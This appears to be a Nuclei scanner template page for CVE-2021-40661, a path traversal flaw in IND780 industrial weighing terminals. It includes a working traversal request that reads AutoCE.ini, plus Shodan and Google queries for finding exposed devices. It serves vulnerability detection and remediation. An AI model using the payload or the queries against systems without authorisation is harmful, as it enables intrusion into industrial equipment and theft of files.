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IND780 - Local File Inclusion

ID: CVE-2021-40661

Severity: high

Author: For3stCo1d

Tags: cve2021,cve,ind780,lfi,mt

Description

Section titled “Description”

IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label ‘IND780_8.0.07’), Version 7.2.10 June 18, 2012 (SS Label ‘IND780_7.2.10’) is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the ‘webpage’ parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40661


info:
  name: IND780 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the vulnerability and ensure that the device is not accessible from untrusted networks.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
    - https://github.com/Live-Hack-CVE/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40661
    cwe-id: CWE-22
    epss-score: 0.01137
    epss-percentile: 0.84411
    cpe: cpe:2.3:o:mt:ind780_firmware:7.2.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mt
    product: ind780_firmware
    shodan-query:
      - IND780
      - ind780
    google-query: inurl:excalweb.dll
  tags: cve2021,cve,ind780,lfi,mt


http:
  - method: GET
    path:
      - "{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ExePath=\Windows'
          - 'WorkDir=\Windows'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a00463044022014c43545da710c21a086d6fc6dcafac8a6101f0691ed60a45de305f7ce3ac78d02206dacc7f9588560f4be291352e94bee349a16b88875e942d956757173d45679c4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40661.yaml"

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